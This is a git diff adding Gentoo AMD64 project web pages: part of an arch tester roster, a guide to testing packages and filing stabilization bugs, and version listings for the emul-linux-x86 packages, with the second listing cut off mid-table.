+<ti>miknix@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Matthias Langer</ti>
+<ti>mlangc</ti>
+<ti>Inactive</ti>
+<ti>mlangc@gmx.at</ti>
+</tr>
+
+<tr>
+<ti>Torsten Rehn</ti>
+<ti>scel</ti>
+<ti>Inactive</ti>
+<ti>torsten.rehn@dystopian.info</ti>
+</tr>
+
+<tr>
+<ti>Jesse Farinacci</ti>
+<ti>jieryn-w</ti>
+<ti>Inactive</ti>
+<ti>jieryn@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Victor Miguel</ti>
+<ti>VQuickSilver</ti>
+<ti>Inactive</ti>
+<ti>victor.quicksilver@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Chad A. Simmons</ti>
+<ti>CCIEChad</ti>
+<ti>Inactive</ti>
+<ti>chad.simmons@member.fsf.org</ti>
+</tr>
+
+<tr>
+<ti>Andreas K. Huettel</ti>
+<ti>dilfridge</ti>
+<ti>Active</ti>
+<ti>mail@akhuettel.de</ti>
+</tr>
+
+
+<tr>
+<ti>Matt Hull</ti>
+<ti>mattmatteh</ti>
+<ti>Active</ti>
+<ti>mattmatteh@gmail.com</ti>
+</tr>
+
+</table>
+</body>
+</section>
+</extrachapter>
+
+<resource link="/proj/en/base/amd64/at/procedures.xml">AT Procedures</resource>
+
+<dev role="Strategic Lead">hparker</dev>
+<dev role="Operational Lead">dang</dev>
+<dev role="Recruiter">jmbsvicetto</dev>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/amd64/at/procedures.xml b/xml/htdocs/proj/en/base/amd64/at/procedures.xml
new file mode 100644
index 00000000..45bd936d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/at/procedures.xml
@@ -0,0 +1,205 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/at/procedures.xml,v 1.5 2009/09/06 04:54:46 darkside Exp $ -->
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<guide link="/proj/en/base/amd64/at/procedures.xml" lang="en">
+<title>Gentoo/AMD64 Arch Testers' Guide</title>
+
+<author title="Author">
+	<mail link="hparker@gentoo.org">hparker@gentoo.org</mail>
+</author>
+
+<abstract>
+This Guide shows you how to test packages for stablization/inclusion into the testing tree.
+</abstract>
+
+<license/>
+
+<version>1.2</version>
+<date>2006-09-27</date>
+
+<chapter>
+<title/>
+<section>
+<title>Marking Stable:  When and How?</title>
+<body>
+
+<p>
+The <uri link="http://dev.gentoo.org/~darkside/perm/imlate.txt">imlate</uri> 
+file is there to show which packages on amd64 are lagging
+behind on x86 and need to be tested and eventually marked stable. It's
+very useful to have people systematically testing these packages - it
+helps to keep amd64 as up-to-date as possible. The following guidelines
+are specifically aimed at Gentoo/AMD64 Arch Testers (ATs) doing testing.
+</p>
+
+<ul>
+<li>
+  Check the newest version of the package is marked ~amd64 (TESTING),
+  if not please read the next section of the document for the steps
+  to follow to quickly/efficiently have a package keyworded ~amd64.
+  <br/><br/>
+</li>
+
+<li>
+  If the package is already ~amd64, then:
+  <ul>
+    <li>
+      Check to see when it was marked ~amd64. There should be a date
+      in the package changelog, but if there isn't please use the
+      ViewCVS functionality on http://sources.gentoo.org to look for
+      the date it was keyworded ~amd64. If it was less than 30 days
+      ago, the package is not eligible to be marked stable, but
+      testing and feedback are still greatly appreciated.
+    </li>
+    <li>
+      Check for bugs on this particular version of the package. If a
+      bug has been open in the last 30 days, it is not eligible.
+    </li>
+    <li>
+      If it has been in testing for more than 30 days, and has not
+      had an open bug in the last 30 days, you need to test it in a
+      thorough and systematic manner. Every conceivable permutation
+      should be checked and rechecked - if it breaks you need to go
+      onto Bugzilla and open a relevent bug. If it doesn't break and
+      you are totally satisfied it's stable, continue to the final
+      step -- but beware, its your head if this package breaks!
+    </li>
+    <li>
+      Assuming it meets all the criteria (tested for 30+ days, no
+      bugs in the last 30 days, AT tested) you may open a bug with
+      the title '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is stable on AMD64'.
+      Assign the bug directly to amd64@gentoo.org to avoid making
+      more work for the poor Bug Wranglers. You should include the
+      output of your 'emerge --info' and keyword the bug <c>STABLE</c>. Just
+      wait a while, a developer will review the bug, and mark stable.
+    </li>
+  </ul>
+</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Marking Testing:  What's the drill?</title>
+<body>
+
+<p>
+In some cases the imlate file may show packages where the latest version is
+not yet ~amd64, or a new and popular package needs to be keyworded ~amd64. In
+these cases, we need to have them 'marked testing' - so when they're bug free
+for thirty days they can be made amd64 stable.
+</p>
+
+<ul>
+<li>
+  Check the package hasn't already got any open bugs regarding it being
+  marked testing. Quite often users will prod us about popular packages
+  needing a keyword before any devs/ATs even notice ;)<br/><br/>
+</li>
+
+<li>
+  If the package doesn't have a bug yet, go ahead and start:<br/><br/>
+  <ul>
+    <li>
+      Check to see whether previous versions of the package were in
+      testing or stable on AMD64. If the version increment is only a
+      minor one (1.4.0 to 1.4.1) and previous version was stable, it's
+      slightly different to where a package has had a major version
+      increment or has never been ~amd64/amd64.<br/><br/>
+      <ul>
+	<li>
+	  <b>
+	    Previous version keyworded, minor version increment</b><br/>
+	    Check the changelog for the version increment, install the package
+            and test any new, improved or otherwise modified features. Check
+            the install is smooth, everyday functionality is there and there
+            are no glaringly obvious bugs. If you see any bugs, file them on
+            Bugzilla and when they're resolved test again. If everything seems
+            okay, proceed to the final stage (putting in the ~amd64 request).
+	  </li>
+	  <li>
+	    <b>Previous version keyworded, major version increment</b><br/>
+	    Check the changelog, install the package and test all the new and
+            improved features. Check for bugs in previous versions, see if they
+            have been fixed and be especially careful to see whether new ones
+            crept in with all the new code. Test all the other functionality,
+            even stuff which you 'think' will work - a major version increment
+            means a lot of changes, and it's treated almost like a new addition
+            to the tree - everything has to be tested and verified. If you're
+            happy it seems to be running okay, proceed to the final stage.
+	  </li>
+	  <li>
+	    <b>New package, not keyworded before</b><br/>
+	    Anything which has never been amd64 keyworded before is a little
+            more tricky to process. You don't have a nice changelog to refer
+            to for a list of things to test, a previous version which worked
+            to use as reference or much other help. You need to install the
+            package and then test thoroughly:<br/><br/>
+            <ol>
+              <li>
+                 Package should install without errors and be ready to run
+                 'out of the box' with minimal effort on the part of user.
+              </li>
+              <li>
+                 Major functionality (which isn't hard to test) should all
+                 work with no significant errors. Minor errors like a typo
+                 are probably acceptable, and we understand you can't go
+                 through every operation possible, but it should work in
+                 an acceptable manner for day-to-day usage by a user.
+              </li>
+              <li>
+                 Package shouldn't break anything related...
+              </li>
+            </ol><br/>
+            Assuming it installs, loads and works pretty well with no major
+            errors - please proceed to the final step and congratulate your
+            computer on adding yet another package to the expanding arsenal!
+	  </li>
+	<li>
+	    <b>Package requires patches that are in bugs.gentoo.org</b><br/>
+	    Make a comment in your bug stating that these patches fix issues
+	    with the package, and CC the maintainer of the package. Developers
+	    will then wait 7-30 days to commit if maintainer does not handle
+	    the bug. The types of patches in this category include: arch 
+	    specific patches, multi-lib strict, etc.
+	</li>
+	</ul>
+      <br/>
+      </li>
+      
+      <li>
+	Assuming your testing efforts above went well, and all procedures were
+        followed, you are now ready to open a bug and metaphysically prod a dev
+	into committing the change.
+	<br/><br/>
+	<ul>
+	  <li>
+	    Open a bug with '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is TESTED on AMD64'
+	    as the title. Assign the bug a keyword:  TESTED
+	  </li>
+	  <li>
+	    Assign the bug directly to amd64@gentoo.org - saves giving those
+	    Bug Wranglers yet another grey hair on their already snowy heads.
+	  </li>
+	  <li>
+	    Include a short description of the package, what you tested and
+            your 'emerge info'. Explicitly specify you wish the ~amd64 to be
+            added to the keywords, it helps us grumpy old developers focus
+	    at 3am in the morning when sleep is probably a good idea ;)
+	  </li>
+	  <li>Sit back and wait, someone will resolve the bug ASAP.</li>
+	</ul>
+      </li>
+    </ul>
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100220.xml b/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100220.xml
new file mode 100644
index 00000000..87293850
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100220.xml
@@ -0,0 +1,289 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/gentoo-x86-install.xml">
+<title>The app-emulation/emul-linux-x86 [20100220] packages</title>
+
+<author title="Author">
+  <mail link="solar@gentoo.org"/>
+</author>
+<author title="Author">
+  <mail link="kingtaco@gentoo.org"/>
+</author>
+<author title="Author">
+  <mail link="pacho@gentoo.org"/>
+</author>
+
+<abstract>
+Content listing of the app-emulation/emul-linux-x86 packages
+</abstract>
+
+<license/>
+
+<version>20100220</version>
+<date>2010-02-20</date>
+<chapter>
+<title>baselibs</title>
+<section>
+<body>
+<table>
+<tr><th>app-admin/gamin</th><th>0.1.10</th></tr>
+<tr><th>app-arch/bzip2</th><th>1.0.5-r1</th></tr>
+<tr><th>app-crypt/mit-krb5</th><th>1.6.3-r6</th></tr>
+<tr><th>app-text/libpaper</th><th>1.1.23</th></tr>
+<tr><th>dev-db/sqlite</th><th>3.6.21</th></tr>
+<tr><th>dev-lang/perl</th><th>5.8.8-r8</th></tr>
+<tr><th>dev-libs/dbus-glib</th><th>0.76</th></tr>
+<tr><th>dev-libs/elfutils</th><th>0.131-r2</th></tr>
+<tr><th>dev-libs/expat</th><th>2.0.1-r2</th></tr>
+<tr><th>dev-libs/glib</th><th>1.2.10-r5</th></tr>
+<tr><th>dev-libs/libgcrypt</th><th>1.4.5</th></tr>
+<tr><th>dev-libs/libgpg-error</th><th>1.7</th></tr>
+<tr><th>dev-libs/libnl</th><th>1.1-r1</th></tr>
+<tr><th>dev-libs/libpcre</th><th>7.9-r1</th></tr>
+<tr><th>dev-libs/libtasn1</th><th>2.3</th></tr>
+<tr><th>dev-libs/libusb</th><th>0.1.12-r5</th></tr>
+<tr><th>dev-libs/libxml2</th><th>2.7.3-r2</th></tr>
+<tr><th>dev-libs/libxslt</th><th>1.1.26</th></tr>
+<tr><th>dev-libs/lzo</th><th>2.02-r1</th></tr>
+<tr><th>dev-libs/nspr</th><th>4.8</th></tr>
+<tr><th>dev-libs/nss</th><th>3.12.5</th></tr>
+<tr><th>dev-libs/openssl</th><th>0.9.8l-r2</th></tr>
+<tr><th>media-libs/giflib</th><th>4.1.6-r1</th></tr>
+<tr><th>media-libs/jpeg</th><th>6b-r9</th></tr>
+<tr><th>media-libs/jpeg</th><th>7-r1</th></tr>
+<tr><th>media-libs/jpeg</th><th>8</th></tr>
+<tr><th>media-libs/lcms</th><th>1.19</th></tr>
+<tr><th>media-libs/libart_lgpl</th><th>2.3.20</th></tr>
+<tr><th>media-libs/libmng</th><th>1.0.10</th></tr>
+<tr><th>media-libs/libpng</th><th>1.2.40</th></tr>
+<tr><th>media-libs/tiff</th><th>3.9.2</th></tr>
+<tr><th>net-dialup/capi4k-utils</th><th>20050718-r3</th></tr>
+<tr><th>net-dns/libidn</th><th>1.15</th></tr>
+<tr><th>net-libs/gnutls</th><th>2.8.5</th></tr>
+<tr><th>net-misc/curl</th><th>7.19.6</th></tr>
+<tr><th>net-nds/openldap</th><th>2.4.19-r1</th></tr>
+<tr><th>net-print/cups</th><th>1.3.11-r1</th></tr>
+<tr><th>net-wireless/bluez</th><th>4.39-r2</th></tr>
+<tr><th>sys-apps/acl</th><th>2.2.47</th></tr>
+<tr><th>sys-apps/attr</th><th>2.4.43</th></tr>
+<tr><th>sys-apps/dbus</th><th>1.2.3-r1</th></tr>
+<tr><th>sys-apps/file</th><th>5.03</th></tr>
+<tr><th>sys-apps/tcp-wrappers</th><th>7.6-r8</th></tr>
+<tr><th>sys-apps/util-linux</th><th>2.16.2</th></tr>
+<tr><th>sys-auth/nss-mdns</th><th>0.10</th></tr>
+<tr><th>sys-auth/nss_ldap</th><th>264-r1</th></tr>
+<tr><th>sys-auth/pam_ldap</th><th>183</th></tr>
+<tr><th>sys-devel/binutils</th><th>2.18-r3</th></tr>
+<tr><th>sys-devel/libperl</th><th>5.8.8-r2</th></tr>
+<tr><th>sys-devel/libtool</th><th>2.2.6b</th></tr>
+<tr><th>sys-fs/e2fsprogs</th><th>1.41.9</th></tr>
+<tr><th>sys-libs/cracklib</th><th>2.8.13-r1</th></tr>
+<tr><th>sys-libs/db</th><th>4.7.25_p4</th></tr>
+<tr><th>sys-libs/e2fsprogs-libs</th><th>1.41.9</th></tr>
+<tr><th>sys-libs/gdbm</th><th>1.8.3-r4</th></tr>
+<tr><th>sys-libs/gpm</th><th>1.20.5</th></tr>
+<tr><th>sys-libs/ncurses</th><th>5.7-r3</th></tr>
+<tr><th>sys-libs/pam</th><th>1.1.0</th></tr>
+<tr><th>sys-libs/pwdb</th><th>0.62</th></tr>
+<tr><th>sys-libs/readline</th><th>6.0_p4</th></tr>
+<tr><th>sys-libs/slang</th><th>2.2.0</th></tr>
+<tr><th>sys-libs/zlib</th><th>1.2.3-r1</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>compat</title>
+<section>
+<body>
+<table>
+<tr><th>sys-libs/lib-compat</th><th>1.4.1</th></tr>
+<tr><th>sys-libs/libstdc++-v3</th><th>3.3.6</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>cpplibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-libs/boost</th><th>1.35.0-r5</th></tr>
+<tr><th>dev-libs/libsigc++</th><th>2.2.3</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>gtklibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-libs/atk</th><th>1.26.0</th></tr>
+<tr><th>dev-libs/libIDL</th><th>0.8.13</th></tr>
+<tr><th>gnome-base/gconf</th><th>2.26.2-r1</th></tr>
+<tr><th>gnome-base/orbit</th><th>2.14.17</th></tr>
+<tr><th>media-libs/imlib</th><th>1.9.15-r2</th></tr>
+<tr><th>x11-libs/cairo</th><th>1.8.8</th></tr>
+<tr><th>x11-libs/gtk+</th><th>1.2.10-r12</th></tr>
+<tr><th>x11-libs/pango</th><th>1.24.5-r1</th></tr>
+<tr><th>x11-libs/pixman</th><th>0.17.2</th></tr>
+<tr><th>x11-themes/gtk-engines</th><th>2.18.3</th></tr>
+<tr><th>x11-themes/gtk-engines-murrine</th><th>0.90.3-r1</th></tr>
+<tr><th>x11-themes/gtk-engines-xfce</th><th>2.6.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>gtkmmlibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-cpp/cairomm</th><th>1.6.0</th></tr>
+<tr><th>dev-cpp/glibmm</th><th>2.22.1</th></tr>
+<tr><th>dev-cpp/gtkmm</th><th>2.18.2</th></tr>
+<tr><th>dev-cpp/pangomm</th><th>2.26.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>medialibs</title>
+<section>
+<body>
+<table>
+<tr><th>app-misc/lirc</th><th>0.8.5</th></tr>
+<tr><th>dev-libs/DirectFB</th><th>1.4.2</th></tr>
+<tr><th>dev-libs/fribidi</th><th>0.10.7</th></tr>
+<tr><th>media-gfx/sane-backends</th><th>1.0.19-r2</th></tr>
+<tr><th>media-libs/libdv</th><th>1.0.0-r2</th></tr>
+<tr><th>media-libs/libgphoto2</th><th>2.4.6</th></tr>
+<tr><th>media-libs/libmad</th><th>0.15.1b-r2</th></tr>
+<tr><th>media-libs/libtheora</th><th>1.0</th></tr>
+<tr><th>media-libs/libv4l</th><th>0.5.3</th></tr>
+<tr><th>media-libs/speex</th><th>1.2_rc1</th></tr>
+<tr><th>media-libs/xvid</th><th>1.2.2-r1</th></tr>
+<tr><th>media-sound/lame</th><th>3.98.2-r1</th></tr>
+<tr><th>media-video/ffmpeg</th><th>0.5_p20373</th></tr>
+<tr><th>sys-libs/libieee1284</th><th>0.2.11</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>qtlibs</title>
+<section>
+<body>
+<table>
+<tr><th>x11-libs/qt-core</th><th>4.5.3-r2</th></tr>
+<tr><th>x11-libs/qt-dbus</th><th>4.5.3-r1</th></tr>
+<tr><th>x11-libs/qt-gui</th><th>4.5.3-r2</th></tr>
+<tr><th>x11-libs/qt-opengl</th><th>4.5.3-r1</th></tr>
+<tr><th>x11-libs/qt-script</th><th>4.5.3-r1</th></tr>
+<tr><th>x11-libs/qt-webkit</th><th>4.5.3</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>sdl</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/freealut</th><th>1.1.0-r1</th></tr>
+<tr><th>media-libs/libsdl</th><th>1.2.13-r1</th></tr>
+<tr><th>media-libs/openal</th><th>1.9.563</th></tr>
+<tr><th>media-libs/sdl-image</th><th>1.2.10</th></tr>
+<tr><th>media-libs/sdl-mixer</th><th>1.2.11</th></tr>
+<tr><th>media-libs/sdl-net</th><th>1.2.7</th></tr>
+<tr><th>media-libs/sdl-sound</th><th>1.0.3</th></tr>
+<tr><th>media-libs/sdl-ttf</th><th>2.0.9</th></tr>
+<tr><th>media-libs/smpeg</th><th>0.4.4-r9</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>soundlibs</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/alsa-lib</th><th>1.0.21a</th></tr>
+<tr><th>media-libs/alsa-oss</th><th>1.0.17</th></tr>
+<tr><th>media-libs/audiofile</th><th>0.2.6-r4</th></tr>
+<tr><th>media-libs/flac</th><th>1.2.1-r3</th></tr>
+<tr><th>media-libs/ladspa-sdk</th><th>1.13-r1</th></tr>
+<tr><th>media-libs/libmikmod</th><th>3.2.0_beta2-r1</th></tr>
+<tr><th>media-libs/libmodplug</th><th>0.8.7</th></tr>
+<tr><th>media-libs/libogg</th><th>1.1.4</th></tr>
+<tr><th>media-libs/libsndfile</th><th>1.0.21</th></tr>
+<tr><th>media-libs/libvorbis</th><th>1.2.3</th></tr>
+<tr><th>media-libs/portaudio</th><th>19_pre20071207</th></tr>
+<tr><th>media-plugins/alsa-plugins</th><th>1.0.21</th></tr>
+<tr><th>media-plugins/swh-plugins</th><th>0.4.15</th></tr>
+<tr><th>media-sound/gsm</th><th>1.0.13</th></tr>
+<tr><th>media-sound/jack-audio-connection-kit</th><th>0.109.2-r1</th></tr>
+<tr><th>media-sound/mpg123</th><th>1.9.2</th></tr>
+<tr><th>media-sound/pulseaudio</th><th>0.9.21.1</th></tr>
+<tr><th>net-wireless/bluez</th><th>4.39-r2</th></tr>
+<tr><th>sci-libs/fftw</th><th>3.2.2</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>xlibs</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/fontconfig</th><th>2.6.0-r2</th></tr>
+<tr><th>media-libs/freeglut</th><th>2.4.0-r1</th></tr>
+<tr><th>media-libs/freetype</th><th>2.3.9-r1</th></tr>
+<tr><th>media-libs/glew</th><th>1.5.1</th></tr>
+<tr><th>media-libs/mesa</th><th>7.5.2</th></tr>
+<tr><th>x11-libs/libICE</th><th>1.0.6</th></tr>
+<tr><th>x11-libs/libSM</th><th>1.1.1</th></tr>
+<tr><th>x11-libs/libX11</th><th>1.2.2</th></tr>
+<tr><th>x11-libs/libXScrnSaver</th><th>1.1.3</th></tr>
+<tr><th>x11-libs/libXau</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXaw</th><th>1.0.7</th></tr>
+<tr><th>x11-libs/libXcomposite</th><th>0.4.1</th></tr>
+<tr><th>x11-libs/libXcursor</th><th>1.1.10</th></tr>
+<tr><th>x11-libs/libXdamage</th><th>1.1.2</th></tr>
+<tr><th>x11-libs/libXdmcp</th><th>1.0.3</th></tr>
+<tr><th>x11-libs/libXext</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXfixes</th><th>4.0.4</th></tr>
+<tr><th>x11-libs/libXft</th><th>2.1.14</th></tr>
+<tr><th>x11-libs/libXi</th><th>1.2.1</th></tr>
+<tr><th>x11-libs/libXinerama</th><th>1.0.3</th></tr>
+<tr><th>x11-libs/libXmu</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXp</th><th>1.0.0</th></tr>
+<tr><th>x11-libs/libXpm</th><th>3.5.8</th></tr>
+<tr><th>x11-libs/libXrandr</th><th>1.3.0</th></tr>
+<tr><th>x11-libs/libXrender</th><th>0.9.5</th></tr>
+<tr><th>x11-libs/libXt</th><th>1.0.7-r1</th></tr>
+<tr><th>x11-libs/libXtst</th><th>1.0.3</th></tr>
+<tr><th>x11-libs/libXv</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXvMC</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXxf86dga</th><th>1.0.2</th></tr>
+<tr><th>x11-libs/libXxf86vm</th><th>1.0.2</th></tr>
+<tr><th>x11-libs/libdrm</th><th>2.4.15</th></tr>
+<tr><th>x11-libs/libxcb</th><th>1.4-r1</th></tr>
+<tr><th>x11-libs/openmotif</th><th>2.3.2</th></tr>
+<tr><th>x11-libs/openmotif-compat</th><th>2.2.3</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100409.xml b/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100409.xml
new file mode 100644
index 00000000..ddc4f6a3
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100409.xml
@@ -0,0 +1,302 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/gentoo-x86-install.xml">
+<title>The app-emulation/emul-linux-x86 [20100409] packages</title>
+
+<author title="Author">
+  <mail link="solar@gentoo.org"/>
+</author>
+<author title="Author">
+  <mail link="kingtaco@gentoo.org"/>
+</author>
+<author title="Author">
+  <mail link="pacho@gentoo.org"/>
+</author>
+
+<abstract>
+Content listing of the app-emulation/emul-linux-x86 packages
+</abstract>
+
+<license/>
+
+<version>20100409</version>
+<date>2010-04-09</date>
+<chapter>
+<title>baselibs</title>
+<section>
+<body>
+<table>
+<tr><th>app-admin/gamin</th><th>0.1.10</th></tr>
+<tr><th>app-arch/bzip2</th><th>1.0.5-r1</th></tr>
+<tr><th>app-crypt/mit-krb5</th><th>1.6.3-r6</th></tr>
+<tr><th>app-text/libpaper</th><th>1.1.23</th></tr>
+<tr><th>dev-db/sqlite</th><th>3.6.22-r2</th></tr>
+<tr><th>dev-lang/perl</th><th>5.8.8-r8</th></tr>
+<tr><th>dev-libs/dbus-glib</th><th>0.82-r1</th></tr>
+<tr><th>dev-libs/elfutils</th><th>0.131-r2</th></tr>
+<tr><th>dev-libs/expat</th><th>2.0.1-r3</th></tr>
+<tr><th>dev-libs/glib</th><th>1.2.10-r5</th></tr>
+<tr><th>dev-libs/libgcrypt</th><th>1.4.5</th></tr>
+<tr><th>dev-libs/libgpg-error</th><th>1.7</th></tr>
+<tr><th>dev-libs/libnl</th><th>1.1-r1</th></tr>
+<tr><th>dev-libs/libpcre</th><th>7.9-r1</th></tr>
+<tr><th>dev-libs/libtasn1</th><th>2.4</th></tr>
+<tr><th>dev-libs/libusb</th><th>0.1.12-r5</th></tr>
+<tr><th>dev-libs/libxml2</th><th>2.7.3-r2</th></tr>
+<tr><th>dev-libs/libxslt</th><th>1.1.26</th></tr>
+<tr><th>dev-libs/lzo</th><th>2.02-r1</th></tr>
+<tr><th>dev-libs/nspr</th><th>4.8.4</th></tr>
+<tr><th>dev-libs/nss</th><th>3.12.6-r1</th></tr>
+<tr><th>dev-libs/openssl</th><th>0.9.8n</th></tr>
+<tr><th>media-libs/giflib</th><th>4.1.6-r1</th></tr>
+<tr><th>media-libs/jpeg</th><th>6b-r9</th></tr>
+<tr><th>media-libs/jpeg</th><th>7-r1</th></tr>
+<tr><th>media-libs/jpeg</th><th>8a</th></tr>
+<tr><th>media-libs/lcms</th><th>1.19</th></tr>
+<tr><th>media-libs/libart_lgpl</th><th>2.3.20</th></tr>
+<tr><th>media-libs/libmng</th><th>1.0.10</th></tr>
+<tr><th>media-libs/libpng</th><th>1.2.40</th></tr>
+<tr><th>media-libs/tiff</th><th>3.9.2-r1</th></tr>
+<tr><th>net-dialup/capi4k-utils</th><th>20050718-r3</th></tr>
+<tr><th>net-dns/libidn</th><th>1.15</th></tr>
+<tr><th>net-libs/gnutls</th><th>2.8.5</th></tr>
+<tr><th>net-misc/curl</th><th>7.19.6</th></tr>
+<tr><th>net-nds/openldap</th><th>2.4.19-r1</th></tr>
+<tr><th>net-print/cups</th><th>1.3.11-r1</th></tr>
+<tr><th>net-wireless/bluez</th><th>4.39-r2</th></tr>
+<tr><th>sys-apps/acl</th><th>2.2.49</th></tr>
+<tr><th>sys-apps/attr</th><th>2.4.43</th></tr>
+<tr><th>sys-apps/dbus</th><th>1.2.24</th></tr>
+<tr><th>sys-apps/file</th><th>5.03</th></tr>
+<tr><th>sys-apps/tcp-wrappers</th><th>7.6-r8</th></tr>
+<tr><th>sys-apps/util-linux</th><th>2.16.2</th></tr>
+<tr><th>sys-auth/nss-mdns</th><th>0.10</th></tr>
+<tr><th>sys-auth/nss_ldap</th><th>264-r1</th></tr>
+<tr><th>sys-auth/pam_ldap</th><th>183</th></tr>
+<tr><th>sys-devel/binutils</th><th>2.18-r3</th></tr>
+<tr><th>sys-devel/libperl</th><th>5.8.8-r2</th></tr>
+<tr><th>sys-devel/libtool</th><th>2.2.6b</th></tr>
+<tr><th>sys-fs/e2fsprogs</th><th>1.41.9</th></tr>
+<tr><th>sys-libs/cracklib</th><th>2.8.15</th></tr>
+<tr><th>sys-libs/db</th><th>4.7.25_p4</th></tr>
+<tr><th>sys-libs/e2fsprogs-libs</th><th>1.41.9</th></tr>
+<tr><th>sys-libs/gdbm</th><th>1.8.3-r4</th></tr>
+<tr><th>sys-libs/gpm</th><th>1.20.5</th></tr>
+<tr><th>sys-libs/ncurses</th><th>5.7-r3</th></tr>
+<tr><th>sys-libs/pam</th><th>1.1.0</th></tr>
+<tr><th>sys-libs/pwdb</th><th>0.62</th></tr>
+<tr><th>sys-libs/readline</th><th>6.1</th></tr>
+<tr><th>sys-libs/slang</th><th>2.2.0</th></tr>
+<tr><th>sys-libs/zlib</th><th>1.2.3-r1</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>compat</title>
+<section>
+<body>
+<table>
+<tr><th>sys-libs/lib-compat</th><th>1.4.1</th></tr>
+<tr><th>sys-libs/libstdc++-v3</th><th>3.3.6</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>cpplibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-libs/boost</th><th>1.41.0-r3</th></tr>
+<tr><th>dev-libs/libsigc++</th><th>2.2.3</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>gtklibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-libs/atk</th><th>1.28.0</th></tr>
+<tr><th>dev-libs/libIDL</th><th>0.8.13</th></tr>
+<tr><th>gnome-base/gconf</th><th>2.26.2-r1</th></tr>
+<tr><th>gnome-base/libglade</th><th>2.6.4</th></tr>
+<tr><th>gnome-base/orbit</th><th>2.14.17</th></tr>
+<tr><th>media-libs/imlib</th><th>1.9.15-r2</th></tr>
+<tr><th>x11-libs/cairo</th><th>1.8.8</th></tr>
+<tr><th>x11-libs/gtk+</th><th>1.2.10-r12</th></tr>
+<tr><th>x11-libs/pango</th><th>1.24.5-r1</th></tr>
+<tr><th>x11-libs/pixman</th><th>0.17.2</th></tr>
+<tr><th>x11-themes/gtk-engines</th><th>2.18.5</th></tr>
+<tr><th>x11-themes/gtk-engines-murrine</th><th>0.90.3-r1</th></tr>
+<tr><th>x11-themes/gtk-engines-xfce</th><th>2.6.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>gtkmmlibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-cpp/cairomm</th><th>1.6.0</th></tr>
+<tr><th>dev-cpp/glibmm</th><th>2.22.1</th></tr>
+<tr><th>dev-cpp/gtkmm</th><th>2.18.2</th></tr>
+<tr><th>dev-cpp/pangomm</th><th>2.26.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>opengl</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/freeglut</th><th>2.4.0-r1</th></tr>
+<tr><th>media-libs/mesa</th><th>7.7.1</th></tr>
+<tr><th>x11-libs/libdrm</th><th>2.4.18_pre20100211-r1</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>medialibs</title>
+<section>
+<body>
+<table>
+<tr><th>app-misc/lirc</th><th>0.8.5</th></tr>
+<tr><th>dev-libs/DirectFB</th><th>1.4.2</th></tr>
+<tr><th>dev-libs/fribidi</th><th>0.10.7</th></tr>
+<tr><th>media-gfx/sane-backends</th><th>1.0.19-r2</th></tr>
+<tr><th>media-libs/libdv</th><th>1.0.0-r2</th></tr>
+<tr><th>media-libs/libgphoto2</th><th>2.4.8</th></tr>
+<tr><th>media-libs/libmad</th><th>0.15.1b-r2</th></tr>
+<tr><th>media-libs/libtheora</th><th>1.1.1</th></tr>
